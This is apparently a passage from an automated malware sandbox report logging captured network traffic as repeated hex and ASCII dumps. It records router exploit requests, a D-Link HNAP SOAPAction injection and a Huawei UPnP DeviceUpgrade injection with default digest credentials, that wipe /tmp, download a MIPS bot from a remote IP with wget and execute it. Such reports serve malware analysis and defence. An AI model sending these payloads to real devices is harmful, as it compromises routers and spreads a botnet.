2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 